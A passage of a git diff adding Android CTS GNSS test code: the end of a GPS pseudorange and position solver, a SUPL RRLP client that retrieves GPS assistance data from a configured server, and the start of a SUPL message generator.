+                userPositionTempECEFMeters, satsCounter, ephemeridesProto, correctedTowAndWeek,
+                ionosphericCorrectionMeters, troposphericCorrectionMeters);
+
+        // Pseudorange residual (difference of measured to predicted pseudoranges)
+        deltaPseudorangesMeters[satsCounter] =
+            pseudorangeMeasurementMeters - predictedPseudorangeMeters;
+
+        // Satellite PRNs
+        satellitePRNs[satsCounter] = i + 1;
+        satsCounter++;
+      }
+    }
+  }
+
+  /** Searches ephemerides list for the ephemeris associated with current satellite in process */
+  private GpsEphemerisProto getEphemerisForSatellite(GpsNavMessageProto navMeassageProto,
+      int satPrn) {
+    List<GpsEphemerisProto> ephemeridesList
+        = new ArrayList<GpsEphemerisProto>(Arrays.asList(navMeassageProto.ephemerids));
+    GpsEphemerisProto ephemeridesProto = null;
+    int ephemerisPrn = 0;
+    for (GpsEphemerisProto ephProtoFromList : ephemeridesList) {
+      ephemerisPrn = ephProtoFromList.prn;
+      if (ephemerisPrn == satPrn) {
+        ephemeridesProto = ephProtoFromList;
+        break;
+      }
+    }
+    return ephemeridesProto;
+  }
+
+  /** Calculates predicted pseudorange in meters */
+  private double calculatePredictedPseudorange(double[] userPositionECEFMeters,
+      double[][] satellitesPositionsECEFMeters, double[] userPositionNoClockECEFMeters,
+      int satsCounter, GpsEphemerisProto ephemeridesProto,
+      GpsTimeOfWeekAndWeekNumber correctedTowAndWeek, double ionosphericCorrectionMeters,
+      double troposphericCorrectionMeters) throws Exception {
+    // Calcualte the satellite clock drift
+    double satelliteClockCorrectionMeters =
+        SatelliteClockCorrectionCalculator.calculateSatClockCorrAndEccAnomAndTkIteratively(
+            ephemeridesProto, correctedTowAndWeek.gpsTimeOfWeekSeconds,
+            correctedTowAndWeek.weekNumber).satelliteClockCorrectionMeters;
+
+    double satelliteToUserDistanceMeters =
+        GpsMathOperations.vectorNorm(GpsMathOperations.subtractTwoVectors(
+            satellitesPositionsECEFMeters[satsCounter], userPositionNoClockECEFMeters));
+
+    // Predicted pseudorange
+    double predictedPseudorangeMeters =
+        satelliteToUserDistanceMeters - satelliteClockCorrectionMeters + ionosphericCorrectionMeters
+            + troposphericCorrectionMeters + userPositionECEFMeters[3];
+    return predictedPseudorangeMeters;
+  }
+
+  /** Calculates the Gps troposheric correction in meters */
+  private double calculateTroposphericCorrectionMeters(int dayOfYear1To366,
+      double[][] satellitesPositionsECEFMeters, double[] userPositionTempECEFMeters,
+      int satsCounter) {
+    double troposphericCorrectionMeters;
+    TopocentricAEDValues elevationAzimuthDist =
+        EcefToTopocentricConverter.convertCartesianToTopocentericRadMeters(
+            userPositionTempECEFMeters, GpsMathOperations.subtractTwoVectors(
+                satellitesPositionsECEFMeters[satsCounter], userPositionTempECEFMeters));
+
+    GeodeticLlaValues lla =
+        Ecef2LlaConverter.convertECEFToLLACloseForm(userPositionTempECEFMeters[0],
+            userPositionTempECEFMeters[1], userPositionTempECEFMeters[2]);
+
+    double elevationMetersAboveSeaLevel = 0.0;
+    if (calculateGeoidMeters) {
+      geoidHeightMeters = lla.altitudeMeters;
+      troposphericCorrectionMeters = TroposphericModelEgnos.calculateTropoCorrectionMeters(
+          elevationAzimuthDist.elevationRadians, lla.latitudeRadians, elevationMetersAboveSeaLevel,
+          dayOfYear1To366);
+    } else {
+      troposphericCorrectionMeters = TroposphericModelEgnos.calculateTropoCorrectionMeters(
+          elevationAzimuthDist.elevationRadians, lla.latitudeRadians,
+          lla.altitudeMeters - geoidHeightMeters, dayOfYear1To366);
+    }
+    return troposphericCorrectionMeters;
+  }
+
+  /**
+   * Gets the number of useful satellites from a list of
+   * {@link GpsMeasurementWithRangeAndUncertainty}.
+   */
+  private int getNumberOfusefulSatellites(
+      List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements) {
+    // calculate the number of useful satellites
+    int numberOfUsefulSatellites = 0;
+    for (int i = 0; i < usefulSatellitesToReceiverMeasurements.size(); i++) {
+      if (usefulSatellitesToReceiverMeasurements.get(i) != null) {
+        numberOfUsefulSatellites++;
+      }
+    }
+    return numberOfUsefulSatellites;
+  }
+
+  /**
+   * Computes the GPS time of week at the time of transmission and as well the corrected GPS week
+   * taking into consideration week rollover. The returned GPS time of week is corrected by the
+   * computed satellite clock drift. The result is stored in an instance of
+   * {@link GpsTimeOfWeekAndWeekNumber}
+   *
+   * @param ephemerisProto parameters of the navigation message
+   * @param receiverGpsTowAtReceptionSeconds Receiver estimate of GPS time of week when signal was
+   *        received (seconds)
+   * @param receiverGpsWeek Receiver estimate of GPS week (0-1024+)
+   * @param pseudorangeMeters Measured pseudorange in meters
+   * @return GpsTimeOfWeekAndWeekNumber Object containing Gps time of week and week number.
+   */
+  private static GpsTimeOfWeekAndWeekNumber calculateCorrectedTransmitTowAndWeek(
+      GpsEphemerisProto ephemerisProto, double receiverGpsTowAtReceptionSeconds,
+      int receiverGpsWeek, double pseudorangeMeters) throws Exception {
+    // GPS time of week at time of transmission: Gps time corrected for transit time (page 98 ICD
+    // GPS 200)
+    double receiverGpsTowAtTimeOfTransmission =
+        receiverGpsTowAtReceptionSeconds - pseudorangeMeters / SPEED_OF_LIGHT_MPS;
+
+    // Adjust for week rollover
+    if (receiverGpsTowAtTimeOfTransmission < 0) {
+      receiverGpsTowAtTimeOfTransmission += SECONDS_IN_WEEK;
+      receiverGpsWeek -= 1;
+    } else if (receiverGpsTowAtTimeOfTransmission > SECONDS_IN_WEEK) {
+      receiverGpsTowAtTimeOfTransmission -= SECONDS_IN_WEEK;
+      receiverGpsWeek += 1;
+    }
+
+    // Compute the satellite clock correction term (Seconds)
+    double clockCorrectionSeconds =
+        SatelliteClockCorrectionCalculator.calculateSatClockCorrAndEccAnomAndTkIteratively(
+            ephemerisProto, receiverGpsTowAtTimeOfTransmission,
+            receiverGpsWeek).satelliteClockCorrectionMeters / SPEED_OF_LIGHT_MPS;
+
+    // Correct with the satellite clock correction term
+    double receiverGpsTowAtTimeOfTransmissionCorrectedSec =
+        receiverGpsTowAtTimeOfTransmission + clockCorrectionSeconds;
+
+    // Adjust for week rollover due to satellite clock correction
+    if (receiverGpsTowAtTimeOfTransmissionCorrectedSec < 0.0) {
+      receiverGpsTowAtTimeOfTransmissionCorrectedSec += SECONDS_IN_WEEK;
+      receiverGpsWeek -= 1;
+    }
+    if (receiverGpsTowAtTimeOfTransmissionCorrectedSec > SECONDS_IN_WEEK) {
+      receiverGpsTowAtTimeOfTransmissionCorrectedSec -= SECONDS_IN_WEEK;
+      receiverGpsWeek += 1;
+    }
+    return new GpsTimeOfWeekAndWeekNumber(receiverGpsTowAtTimeOfTransmissionCorrectedSec,
+        receiverGpsWeek);
+  }
+
+  /**
+   * Calculates the Geometry matrix (describing user to satellite geometry) given a list of
+   * satellite positions in ECEF coordinates in meters and the user position in ECEF in meters.
+   *
+   * <p>The geometry matrix has four columns, and rows equal to the number of satellites. For each
+   * of the rows (i.e. for each of the satellites used), the columns are filled with the normalized
+   * line–of-sight vectors and 1 s for the fourth column.
+   *
+   * <p>Source: Parkinson, B.W., Spilker Jr., J.J.: ‘Global positioning system: theory and
+   * applications’ page 413
+   */
+  private static double[][] calculateGeometryMatrix(double[][] satellitePositionsECEFMeters,
+      double[] userPositionECEFMeters) {
+
+    double[][] geometeryMatrix = new double[satellitePositionsECEFMeters.length][4];
+    for (int i = 0; i < satellitePositionsECEFMeters.length; i++) {
+      geometeryMatrix[i][3] = 1;
+    }
+    // iterate over all satellites
+    for (int i = 0; i < satellitePositionsECEFMeters.length; i++) {
+      double[] r = {satellitePositionsECEFMeters[i][0] - userPositionECEFMeters[0],
+          satellitePositionsECEFMeters[i][1] - userPositionECEFMeters[1],
+          satellitePositionsECEFMeters[i][2] - userPositionECEFMeters[2]};
+      double norm = Math.sqrt(Math.pow(r[0], 2) + Math.pow(r[1], 2) + Math.pow(r[2], 2));
+      for (int j = 0; j < 3; j++) {
+        geometeryMatrix[i][j] =
+            (userPositionECEFMeters[j] - satellitePositionsECEFMeters[i][j]) / norm;
+      }
+    }
+    return geometeryMatrix;
+  }
+
+  /**
+   * Class containing satellites' PRNs, satellites' positions in ECEF meters, the peseudorange
+   * residual per visible satellite in meters and the covariance matrix of the pseudoranges in
+   * meters square
+   */
+  private static class SatellitesPositionPseudorangesResidualAndCovarianceMatrix {
+
+    /** Satellites' PRNs */
+    private final int[] satellitePRNs;
+
+    /** ECEF positions (meters) of useful satellites */
+    private final double[][] satellitesPositionsMeters;
+
+    /** Pseudorange measurement residuals (difference of measured to predicted pseudoranges) */
+    private final double[] pseudorangeResidualsMeters;
+
+    /** Pseudorange covariance Matrix for the weighted least squares (meters square) */
+    private final double[][] covarianceMatrixMetersSquare;
+
+    /** Constructor */
+    private SatellitesPositionPseudorangesResidualAndCovarianceMatrix(int[] satellitePRNs,
+        double[][] satellitesPositionsMeters, double[] pseudorangeResidualsMeters,
+        double[][] covarianceMatrixMetersSquare) {
+      this.satellitePRNs = satellitePRNs;
+      this.satellitesPositionsMeters = satellitesPositionsMeters;
+      this.pseudorangeResidualsMeters = pseudorangeResidualsMeters;
+      this.covarianceMatrixMetersSquare = covarianceMatrixMetersSquare;
+    }
+
+  }
+
+  /**
+   * Class containing GPS time of week in seconds and GPS week number
+   */
+  private static class GpsTimeOfWeekAndWeekNumber {
+    /** GPS time of week in seconds */
+    private final double gpsTimeOfWeekSeconds;
+
+    /** GPS week number */
+    private final int weekNumber;
+
+    /** Constructor */
+    private GpsTimeOfWeekAndWeekNumber(double gpsTimeOfWeekSeconds, int weekNumber) {
+      this.gpsTimeOfWeekSeconds = gpsTimeOfWeekSeconds;
+      this.weekNumber = weekNumber;
+    }
+  }
+
+  /**
+   * Uses the common reception time approach to calculate pseudoranges from the time of week
+   * measurements reported by the receiver according to http://cdn.intechopen.com/pdfs-wm/27712.pdf.
+   * As well computes the pseudoranges uncertainties for each input satellite
+   */
+  static List<GpsMeasurementWithRangeAndUncertainty> computePseudorangeAndUncertainties(
+      List<GpsMeasurement> usefulSatellitesToReceiverMeasurements,
+      Long[] usefulSatellitesToTOWNs,
+      long largestTowNs) {
+
+    List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToPseudorangeMeasurements =
+        Arrays.asList(
+            new GpsMeasurementWithRangeAndUncertainty[MAX_NUMBER_OF_SATELLITES]);
+    for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
+      if (usefulSatellitesToTOWNs[i] != null) {
+        double deltai = largestTowNs - usefulSatellitesToTOWNs[i];
+        double pseudorangeMeters =
+            (AVERAGE_TRAVEL_TIME_SECONDS + deltai * SECONDS_PER_NANO) * SPEED_OF_LIGHT_MPS;
+
+        double signalToNoiseRatioLinear =
+            Math.pow(10, usefulSatellitesToReceiverMeasurements.get(i).signalToNoiseRatioDb / 10.0);
+        // From Global Positoning System book, Misra and Enge, page 416, the uncertainty of the
+        // pseudorange measurement is calculated next.
+        // For GPS C/A code chip width Tc = 1 microseconds. Narrow correlator with spacing d = 0.1
+        // chip and an average time of DLL correlator T of 20 milliseconds are used.
+        double sigmaMeters =
+            SPEED_OF_LIGHT_MPS
+                * GPS_CHIP_WIDTH_T_C_SEC
+                * Math.sqrt(
+                    GPS_CORRELATOR_SPACING_IN_CHIPS
+                        / (4 * GPS_DLL_AVERAGING_TIME_SEC * signalToNoiseRatioLinear));
+        usefulSatellitesToPseudorangeMeasurements.set(
+            i,
+            new GpsMeasurementWithRangeAndUncertainty(
+                usefulSatellitesToReceiverMeasurements.get(i), pseudorangeMeters, sigmaMeters));
+      }
+    }
+    return usefulSatellitesToPseudorangeMeasurements;
+  }
+
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/suplClient/SuplRrlpController.java b/tests/location/location_gnss/src/android/location/cts/gnss/suplClient/SuplRrlpController.java
new file mode 100644
index 0000000..83235bd
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/suplClient/SuplRrlpController.java
@@ -0,0 +1,258 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.suplClient;
+
+import android.location.cts.asn1.supl2.rrlp_components.IonosphericModel;
+import android.location.cts.asn1.supl2.rrlp_components.NavModelElement;
+import android.location.cts.asn1.supl2.rrlp_components.NavigationModel;
+import android.location.cts.asn1.supl2.rrlp_components.SatStatus;
+import android.location.cts.asn1.supl2.rrlp_components.UncompressedEphemeris;
+import android.location.cts.asn1.supl2.rrlp_messages.PDU;
+import android.location.cts.asn1.supl2.supl_pos.PosPayLoad;
+import android.location.cts.asn1.supl2.ulp.ULP_PDU;
+import android.location.cts.asn1.supl2.ulp.UlpMessage;
+import android.location.cts.asn1.supl2.ulp_components.SessionID;
+import android.location.cts.gnss.nano.Ephemeris.GpsEphemerisProto;
+import android.location.cts.gnss.nano.Ephemeris.GpsNavMessageProto;
+import android.location.cts.gnss.nano.Ephemeris.IonosphericModelProto;
+import java.io.IOException;
+import java.net.UnknownHostException;
+import java.util.ArrayList;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * A class that applies the SUPL protocol call flow to obtain GPS assistance data over a TCP
+ * connection.
+ *
+ * <p>A rough location of the receiver has to be known in advance which is passed to the method
+ * #generateNavMessage to obtain a GpsNavMessageProto containing the GPS assistance
+ * data.
+ *
+ * <p>The SUPL protocol flaw is made over a TCP socket to a server specified by SUPL_SERVER_NAME 
+ * at port SUPL_SERVER_PORT.
+ */
+public class SuplRrlpController {
+  // Details of the following constants can be found in hte IS-GPS-200F which can be found at:
+  // http://www.navcen.uscg.gov/pdf/is-gps-200f.pdf
+  private static final double NAVIGATION_TGD_SCALE_FACTOR = Math.pow(2, -31);
+  private static final double NAVIGATION_TOC_SCALE_FACTOR = Math.pow(2, 4);
+  private static final double NAVIGATION_AF2_SCALE_FACTOR = Math.pow(2, -55);
+  private static final double NAVIGATION_AF1_SCALE_FACTOR = Math.pow(2, -43);
+  private static final double NAVIGATION_AF0_SCALE_FACTOR = Math.pow(2, -31);
+  private static final double NAVIGATION_CRS_SCALE_FACTOR = Math.pow(2, -5);
+  private static final double NAVIGATION_DELTA_N_SCALE_FACTOR = Math.pow(2, -43) * Math.PI;
+  private static final double NAVIGATION_M0_SCALE_FACTOR = Math.pow(2, -31) * Math.PI;
+  private static final double NAVIGATION_CUC_SCALE_FACTOR = Math.pow(2, -29);
+  private static final double NAVIGATION_E_SCALE_FACTOR = Math.pow(2, -33);
+  private static final double NAVIGATION_CUS_SCALE_FACTOR = Math.pow(2, -29);
+  private static final double NAVIGATION_A_POWER_HALF_SCALE_FACTOR = Math.pow(2, -19);
+  private static final double NAVIGATION_TOE_SCALE_FACTOR = Math.pow(2, 4);
+  private static final double NAVIGATION_CIC_SCALE_FACTOR = Math.pow(2, -29);
+  private static final double NAVIGATION_OMEGA0_SCALE_FACTOR = Math.pow(2, -31) * Math.PI;
+  private static final double NAVIGATION_CIS_SCALE_FACTOR = Math.pow(2, -29);
+  private static final double NAVIGATION_I0_SCALE_FACTOR = Math.pow(2, -31) * Math.PI;
+  private static final double NAVIGATION_CRC_SCALE_FACTOR = Math.pow(2, -5);
+  private static final double NAVIGATION_W_SCALE_FACTOR = Math.pow(2, -31) * Math.PI;
+  private static final double NAVIGATION_OMEGA_A_DOT_SCALE_FACTOR = Math.pow(2, -43) * Math.PI;
+  private static final double NAVIGATION_I_DOT_SCALE_FACTOR = Math.pow(2, -43) * Math.PI;
+  private static final double IONOSPHERIC_ALFA_0_SCALE_FACTOR = Math.pow(2, -30);
+  private static final double IONOSPHERIC_ALFA_1_SCALE_FACTOR = Math.pow(2, -27);
+  private static final double IONOSPHERIC_ALFA_2_SCALE_FACTOR = Math.pow(2, -24);
+  private static final double IONOSPHERIC_ALFA_3_SCALE_FACTOR = Math.pow(2, -24);
+  private static final double IONOSPHERIC_BETA_0_SCALE_FACTOR = Math.pow(2, 11);
+  private static final double IONOSPHERIC_BETA_1_SCALE_FACTOR = Math.pow(2, 14);
+  private static final double IONOSPHERIC_BETA_2_SCALE_FACTOR = Math.pow(2, 16);
+  private static final double IONOSPHERIC_BETA_3_SCALE_FACTOR = Math.pow(2, 16);
+
+  // 3657 is the number of days between the unix epoch and GPS epoch as the GPS epoch started on
+  // Jan 6, 1980
+  private static final long GPS_EPOCH_AS_UNIX_EPOCH_MS = TimeUnit.DAYS.toMillis(3657);
+  // A GPS Cycle is 1024 weeks, or 7168 days
+  private static final long GPS_CYCLE_MS = TimeUnit.DAYS.toMillis(7168);
+  private static final int GPS_CYCLE_WEEKS = 1024;
+
+  private final String suplServerName;
+  private final int suplServerPort;
+
+  public SuplRrlpController(String suplServerName, int suplServerPort) {
+    this.suplServerName = suplServerName;
+    this.suplServerPort = suplServerPort;
+  }
+
+  /**
+   * Applies the SUPL protocol call flaw to obtain the assistance data and store the result in a
+   * GpsNavMessageProto
+   */
+  public GpsNavMessageProto generateNavMessage(long latE7, long lngE7)
+      throws UnknownHostException, IOException {
+    // Establishes a TCP socket that is used to send and receive SUPL messages
+    SuplTcpClient tcpClient = new SuplTcpClient(suplServerName, suplServerPort);
+
+    // Send a SUPL START message from the client to server
+    byte[] suplStartMessage = SuplRrlpMessagesGenerator.generateSuplStartLocalLocationMessage(null);
+    tcpClient.sendSuplRequest(suplStartMessage);
+    // Receive a SUPL RESPONSE from the server and obtain the Session ID send by the server
+    byte[] response = tcpClient.getSuplResponse();
+    if (response == null) {
+      return new GpsNavMessageProto();
+    }
+    ULP_PDU decodedMessage = ULP_PDU.fromPerUnaligned(response);
+
+    if (!decodedMessage.getMessage().isMsSUPLRESPONSE()) {
+      return new GpsNavMessageProto();
+    }
+    SessionID sessionId = decodedMessage.getSessionID();
+
+    // Send a SUPL POS INIT message from the client to the server requesting GPS assistance data
+    // for the location specified by the given latitude and longitude
+    byte[] suplPosInitMessage = SuplRrlpMessagesGenerator
+        .generateSuplPositionInitLocalLocationMessage(sessionId, latE7, lngE7);
+    tcpClient.sendSuplRequest(suplPosInitMessage);
+
+    // Receive a SUPL POS message from the server containing all the assitance data requested
+    response = tcpClient.getSuplResponse();
+    if (response == null) {
+      return new GpsNavMessageProto();
+    }
+    decodedMessage = ULP_PDU.fromPerUnaligned(response);
+
+    if (!decodedMessage.getMessage().isMsSUPLPOS()) {
+      return new GpsNavMessageProto();
+    }
+    // build a NavMessageProto out of the received decoded payload from the SUPL server
+    GpsNavMessageProto navMessageProto = buildNavMessageProto(decodedMessage);
+
+    tcpClient.closeSocket();
+
+    return navMessageProto;
+  }
+
+  /** Fills GpsNavMessageProto with the assistance data obtained in ULP_PDU */
+  private GpsNavMessageProto buildNavMessageProto(ULP_PDU decodedMessage) {
+    UlpMessage message = decodedMessage.getMessage();
+
+    PosPayLoad.rrlpPayloadType rrlpPayload =
+        message.getMsSUPLPOS().getPosPayLoad().getRrlpPayload();
+    PDU pdu = PDU.fromPerUnaligned(rrlpPayload.getValue());
+    IonosphericModel ionoModel = pdu.getComponent().getAssistanceData().getGps_AssistData()
+        .getControlHeader().getIonosphericModel();
+    NavigationModel navModel = pdu.getComponent().getAssistanceData().getGps_AssistData()
+        .getControlHeader().getNavigationModel();
+    int gpsWeek = pdu.getComponent().getAssistanceData().getGps_AssistData().getControlHeader()
+        .getReferenceTime().getGpsTime().getGpsWeek().getInteger().intValue();
+    gpsWeek = getGpsWeekWithRollover(gpsWeek);
+    Iterable<NavModelElement> navModelElements = navModel.getNavModelList().getValues();
+
+    GpsNavMessageProto gpsNavMessageProto = new GpsNavMessageProto();
+    gpsNavMessageProto.rpcStatus = GpsNavMessageProto.UNKNOWN_RPC_STATUS;
+
+    // Set Iono Model.
+    IonosphericModelProto ionosphericModelProto = new IonosphericModelProto();
+    double[] alpha = new double[4];
+    alpha[0] = ionoModel.getAlfa0().getInteger().byteValue() * IONOSPHERIC_ALFA_0_SCALE_FACTOR;
+    alpha[1] = ionoModel.getAlfa1().getInteger().byteValue() * IONOSPHERIC_ALFA_1_SCALE_FACTOR;
+    alpha[2] = ionoModel.getAlfa2().getInteger().byteValue() * IONOSPHERIC_ALFA_2_SCALE_FACTOR;
+    alpha[3] = ionoModel.getAlfa3().getInteger().byteValue() * IONOSPHERIC_ALFA_3_SCALE_FACTOR;
+    ionosphericModelProto.alpha = alpha;
+
+    double[] beta = new double[4];
+    beta[0] = ionoModel.getBeta0().getInteger().byteValue() * IONOSPHERIC_BETA_0_SCALE_FACTOR;
+    beta[1] = ionoModel.getBeta1().getInteger().byteValue() * IONOSPHERIC_BETA_1_SCALE_FACTOR;
+    beta[2] = ionoModel.getBeta2().getInteger().byteValue() * IONOSPHERIC_BETA_2_SCALE_FACTOR;
+    beta[3] = ionoModel.getBeta3().getInteger().byteValue() * IONOSPHERIC_BETA_3_SCALE_FACTOR;
+    ionosphericModelProto.beta = beta;
+
+    gpsNavMessageProto.iono = ionosphericModelProto;
+
+    ArrayList<GpsEphemerisProto> ephemerisList = new ArrayList<>();
+    for (NavModelElement navModelElement : navModelElements) {
+      int satID = navModelElement.getSatelliteID().getInteger().intValue();
+      SatStatus satStatus = navModelElement.getSatStatus();
+      UncompressedEphemeris ephemeris = satStatus.getNewSatelliteAndModelUC();
+
+      GpsEphemerisProto gpsEphemerisProto = new GpsEphemerisProto();
+      toSingleEphemeris(satID, gpsWeek, ephemeris, gpsEphemerisProto);
+      ephemerisList.add(gpsEphemerisProto);
+    }
+
+    gpsNavMessageProto.ephemerids =
+        ephemerisList.toArray(new GpsEphemerisProto[ephemerisList.size()]);
+    gpsNavMessageProto.rpcStatus = GpsNavMessageProto.SUCCESS;
+
+    return gpsNavMessageProto;
+  }
+
+  /**
+   * Calculates the GPS week with rollovers. A rollover happens every 1024 weeks, beginning from GPS
+   * epoch (January 6, 1980).
+   *
+   * @param gpsWeek The modulo-1024 GPS week.
+   *
+   * @return The absolute GPS week.
+   */
+  private int getGpsWeekWithRollover(int gpsWeek) {
+    long nowMs = System.currentTimeMillis();
+    long elapsedTimeFromGpsEpochMs = nowMs - GPS_EPOCH_AS_UNIX_EPOCH_MS;
+    long rolloverCycles = elapsedTimeFromGpsEpochMs / GPS_CYCLE_MS;
+    int rolloverWeeks = (int) rolloverCycles * GPS_CYCLE_WEEKS;
+    return gpsWeek + rolloverWeeks;
+  }
+
+  /**
+   * Fills GpsEphemerisProto with the assistance data obtained in UncompressedEphemeris for the
+   * given satellite id.
+   */
+  private void toSingleEphemeris(
+      int satId, int gpsWeek, UncompressedEphemeris ephemeris,
+      GpsEphemerisProto gpsEphemerisProto) {
+
+    gpsEphemerisProto.prn = satId + 1;
+    gpsEphemerisProto.week = gpsWeek;
+    gpsEphemerisProto.l2Code = ephemeris.getEphemCodeOnL2().getInteger().intValue();
+    gpsEphemerisProto.l2Flag = ephemeris.getEphemL2Pflag().getInteger().intValue();
+    gpsEphemerisProto.svHealth = ephemeris.getEphemSVhealth().getInteger().intValue();
+
+    gpsEphemerisProto.iode = ephemeris.getEphemIODC().getInteger().intValue();
+    gpsEphemerisProto.iodc = ephemeris.getEphemIODC().getInteger().intValue();
+    gpsEphemerisProto.toc = ephemeris.getEphemToc().getInteger().intValue() * NAVIGATION_TOC_SCALE_FACTOR;
+    gpsEphemerisProto.toe = ephemeris.getEphemToe().getInteger().intValue() * NAVIGATION_TOE_SCALE_FACTOR;
+    gpsEphemerisProto.af0 = ephemeris.getEphemAF0().getInteger().intValue() * NAVIGATION_AF0_SCALE_FACTOR;
+    gpsEphemerisProto.af1 = ephemeris.getEphemAF1().getInteger().shortValue() * NAVIGATION_AF1_SCALE_FACTOR;
+    gpsEphemerisProto.af2 = ephemeris.getEphemAF2().getInteger().byteValue() * NAVIGATION_AF2_SCALE_FACTOR;
+    gpsEphemerisProto.tgd = ephemeris.getEphemTgd().getInteger().byteValue() * NAVIGATION_TGD_SCALE_FACTOR;
+    gpsEphemerisProto.rootOfA = ephemeris.getEphemAPowerHalf().getInteger().longValue()
+        * NAVIGATION_A_POWER_HALF_SCALE_FACTOR;
+
+    gpsEphemerisProto.e = ephemeris.getEphemE().getInteger().longValue() * NAVIGATION_E_SCALE_FACTOR;
+    gpsEphemerisProto.i0 = ephemeris.getEphemI0().getInteger().intValue() * NAVIGATION_I0_SCALE_FACTOR;
+    gpsEphemerisProto.iDot = ephemeris.getEphemIDot().getInteger().intValue() * NAVIGATION_I_DOT_SCALE_FACTOR;
+    gpsEphemerisProto.omega = ephemeris.getEphemW().getInteger().intValue() * NAVIGATION_W_SCALE_FACTOR;
+    gpsEphemerisProto.omega0 = ephemeris.getEphemOmegaA0().getInteger().intValue() * NAVIGATION_OMEGA0_SCALE_FACTOR;
+    gpsEphemerisProto.omegaDot = ephemeris.getEphemOmegaADot().getInteger().intValue()
+        * NAVIGATION_OMEGA_A_DOT_SCALE_FACTOR;
+    gpsEphemerisProto.m0 = ephemeris.getEphemM0().getInteger().intValue() * NAVIGATION_M0_SCALE_FACTOR;
+    gpsEphemerisProto.deltaN = ephemeris.getEphemDeltaN().getInteger().shortValue() * NAVIGATION_DELTA_N_SCALE_FACTOR;
+    gpsEphemerisProto.crc = ephemeris.getEphemCrc().getInteger().shortValue() * NAVIGATION_CRC_SCALE_FACTOR;
+    gpsEphemerisProto.crs = ephemeris.getEphemCrs().getInteger().shortValue() * NAVIGATION_CRS_SCALE_FACTOR;
+    gpsEphemerisProto.cuc = ephemeris.getEphemCuc().getInteger().shortValue() * NAVIGATION_CUC_SCALE_FACTOR;
+    gpsEphemerisProto.cus = ephemeris.getEphemCus().getInteger().shortValue() * NAVIGATION_CUS_SCALE_FACTOR;
+    gpsEphemerisProto.cic = ephemeris.getEphemCic().getInteger().shortValue() * NAVIGATION_CIC_SCALE_FACTOR;
+    gpsEphemerisProto.cis = ephemeris.getEphemCis().getInteger().shortValue() * NAVIGATION_CIS_SCALE_FACTOR;
+
+  }
+
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/suplClient/SuplRrlpMessagesGenerator.java b/tests/location/location_gnss/src/android/location/cts/gnss/suplClient/SuplRrlpMessagesGenerator.java
new file mode 100644
index 0000000..156108b
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/suplClient/SuplRrlpMessagesGenerator.java
@@ -0,0 +1,288 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.suplClient;
+
+import android.location.cts.asn1.base.PacketBuilder;
+import android.location.cts.asn1.supl2.rrlp_messages.PDU;
+import android.location.cts.asn1.supl2.supl_pos.PosPayLoad;
+import android.location.cts.asn1.supl2.supl_pos.SUPLPOS;
+import android.location.cts.asn1.supl2.supl_pos_init.NavigationModel;
+import android.location.cts.asn1.supl2.supl_pos_init.RequestedAssistData;
+import android.location.cts.asn1.supl2.supl_pos_init.SUPLPOSINIT;
+import android.location.cts.asn1.supl2.supl_start.PosProtocol;
+import android.location.cts.asn1.supl2.supl_start.PosTechnology;
+import android.location.cts.asn1.supl2.supl_start.PrefMethod;
+import android.location.cts.asn1.supl2.supl_start.SETCapabilities;
+import android.location.cts.asn1.supl2.supl_start.SUPLSTART;
+import android.location.cts.asn1.supl2.ulp.ULP_PDU;
+import android.location.cts.asn1.supl2.ulp.UlpMessage;
+import android.location.cts.asn1.supl2.ulp_components.CellInfo;
+import android.location.cts.asn1.supl2.ulp_components.LocationId;
+import android.location.cts.asn1.supl2.ulp_components.Position;
+import android.location.cts.asn1.supl2.ulp_components.Position.timestampType;
+import android.location.cts.asn1.supl2.ulp_components.PositionEstimate;
+import android.location.cts.asn1.supl2.ulp_components.PositionEstimate.latitudeSignType;
+import android.location.cts.asn1.supl2.ulp_components.SessionID;
+import android.location.cts.asn1.supl2.ulp_components.SetSessionID;
+import android.location.cts.asn1.supl2.ulp_components.Status;
+import android.location.cts.asn1.supl2.ulp_components.Version;
+import android.location.cts.asn1.supl2.ulp_components.WcdmaCellInformation;
+
+import java.math.BigInteger;
+import java.net.InetAddress;
+import java.net.UnknownHostException;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.util.BitSet;
+import java.util.Calendar;
+import java.util.GregorianCalendar;
+import java.util.Random;
+import java.util.TimeZone;
+
+import javax.annotation.Nullable;
+
+/**
+ * A class that generates several types of GPS SUPL client payloads that can be transmitted over a
+ * GPS socket.
+ *
+ * <p>Two types of SUPL payloads are supported in this version: Local Location and WCDMA versions.
+ * However, it should be straightforward to extend this class to support other types of SUPL
+ * requests.
+ */
+public class SuplRrlpMessagesGenerator {
+  // Scale factors used for conversion from latitude and longitude in SUPL protocol format
+  // to decimal format
+  private static final double POSITION_ESTIMATE_LAT_SCALE_FACTOR = 90.0 / 8388608.0;
+  private static final double POSITION_ESTIMATE_LNG_SCALE_FACTOR = 180.0 / 8388608.0;
+
+  /**
+   * Generate a SUPL START message that can be send by the SUPL client to the server in the case
+   * that device location is known via a latitude and a longitude.
+   *
+   * <p>SUPL START is the first message to be send from the client to the server. The server should
